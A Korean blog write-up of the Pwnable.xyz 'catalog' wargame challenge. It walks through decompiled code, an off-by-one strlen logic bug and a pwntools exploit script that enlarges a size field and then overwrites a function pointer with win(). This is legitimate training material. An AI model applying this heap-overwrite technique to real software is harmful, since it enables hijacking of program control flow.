tmxklab

[Pwnable.xyz] catalog 본문

War Game/Pwnable.xyz

[Pwnable.xyz] catalog

tmxk4221 2020. 9. 9. 22:25

1. 문제

nc svc.pwnable.xyz 30023

 

1) mitigation 확인

 

2) 문제 확인

  • name을 저장하고 수정하고 출력할 수 있는 프로그램인 것 같다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int i; // [rsp+Ch] [rbp-14h]
  int j; // [rsp+10h] [rbp-10h]
  int v7; // [rsp+18h] [rbp-8h]
  int v8; // [rsp+1Ch] [rbp-4h]

  setup(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      write_name();
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )
    {
      for ( i = 0; catalog[i]; ++i )
        ;
      printf("index: ");
      v7 = read_int32();
      if ( v7 >= 0 && v7 < i )
        edit_name((size_t *)catalog[v7]);
      else
        puts("Invalid index");
    }
    else if ( v3 == 3 )
    {
      for ( j = 0; catalog[j]; ++j )
        ;
      printf("index: ");
      v8 = read_int32();
      if ( v8 >= 0 && v8 < j )
        (*(void (__fastcall **)(_QWORD))(catalog[v8] + 40LL))(catalog[v8]);
      else
        puts("Invalid index");
    }
    else
    {
LABEL_25:
      puts("Invalid");
    }
  }
  if ( v3 )
    goto LABEL_25;
  return 0;
}
  • 1번 메뉴 : write_name()호출
  • 2번 메뉴 : 인덱스에 대한 입력 값을 v7에 받고 0 ≤ v7 < i에 만족하면 catalog[v7]을 파라미터로 edit_name()호출
  • 3번 메뉴 : 인덱스에 대한 입력 값을 v8에 받고 0 ≤ v8 < i에 만족하면 catalog[index]→print_name()을 호출

 

3-2) write_name()

size_t *write_name()
{
  size_t v0; // rdx
  size_t *result; // rax
  int i; // [rsp+4h] [rbp-Ch]
  size_t *s; // [rsp+8h] [rbp-8h]

  s = (size_t *)malloc(0x30uLL);
  for ( i = 0; catalog[i]; ++i )
    ;
  catalog[i] = s;
  s[5] = (size_t)print_name;
  s[4] = 0x20LL;
  edit_name(s);
  v0 = strlen((const char *)s);
  result = s;
  s[4] = v0;
  return result;
}
  • s에 0x30만큼 malloc한 청크의 주소 넣는다.
  • 다시 catalog[i]에 청크의 주소를 넣고 s[5]에는 print_name(), s[4]에는 0x20을 저장
  • s를 파라미터로 edit_name()호출
  • 마지막으로 s[4]에 s의 길이를 저장

 

3-3) edit_neme()

ssize_t __fastcall edit_name(size_t *a1)
{
  printf("name: ");
  return read(0, a1, a1[4]);
}
  • a1에 a1[4]만큼 입력 값을 저장

 

전역변수)

  • catalog : 0x602280

 


2. 접근방법

해당 문제는 로직 버그를 이용하여 문제를 풀 수 있으며 로직 버그는 write_name()에서 발생한다.

 

write_name()

*((_QWORD *)s + 4) = 0x20LL;
edit_name(s);
v0 = strlen(s);
result = s;
*((_QWORD *)s + 4) = v0;
  • s에는 malloc한 청크의 주소가 담겨져 있다.
  • 처음에 *((_QWORD *)s + 4) 에 0x20 값을 저장한다.
  • edit_name(s)에서 read(0, s, s[4]) 0x20만큼 s에 입력 값을 저장할 수 있다.
  • s의 문자열 길이를 s[4]에 다시 저장한다.
  • 만약 0x20만큼 입력 값을 꽉 채우면 strlen(s)에 의해 마지막 s[4]에 저장된 0x20에 의해 0x21로 반환 될 것이고 s[4]에는 다시 0x21로 저장된다.

  • 현재 0x20만큼 입력 값을 s에 저장한 상황이다. 아직까진 s[4]에는 0x21이 저장되어 있다.

  • s[4] = strlen(s)을 수행한 이후이다. s[4]에는 0x21로 값이 변경된 것을 확인할 수 있다.
  • 이후에 edit_name()을 하게 되면 read(0, s, 0x21)로 수행되어 s변수의 size값을 조절할 수 있다.

 

따라서, size값이 저장된 s[4]다음의 s[5]에 기존에 print_name()의 주소 값이 저장되어 있는데 이거를 win()로 변경할 수 있고 메뉴 3을 통해 win()를 실행할 수 있다.

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30023)
e = ELF("./challenge")
#gdb.attach(p)

# 1. change size
p.sendlineafter("> ", str(1))
p.sendafter(": ", "A"*0x20)

p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(0))
p.sendafter(": ", "A"*0x20 + "\xff")

# 2. change print_name() -> win()
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(0))
p.sendafter(": ", "A"*0x28+p64(e.symbols['win']))

# 3. execute win()
p.sendlineafter("> ", str(3))
p.sendlineafter(": ", str(0))

p.interactive()

 

2) 실행결과


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] executioner  (0) 2020.09.09
[Pwnable.xyz] punch it  (0) 2020.09.09
[Pwnable.xyz] PvP  (0) 2020.09.09
[Pwnable.xyz] bookmark  (0) 2020.09.09
[Pwnable.xyz] rwsr  (0) 2020.09.09
Comments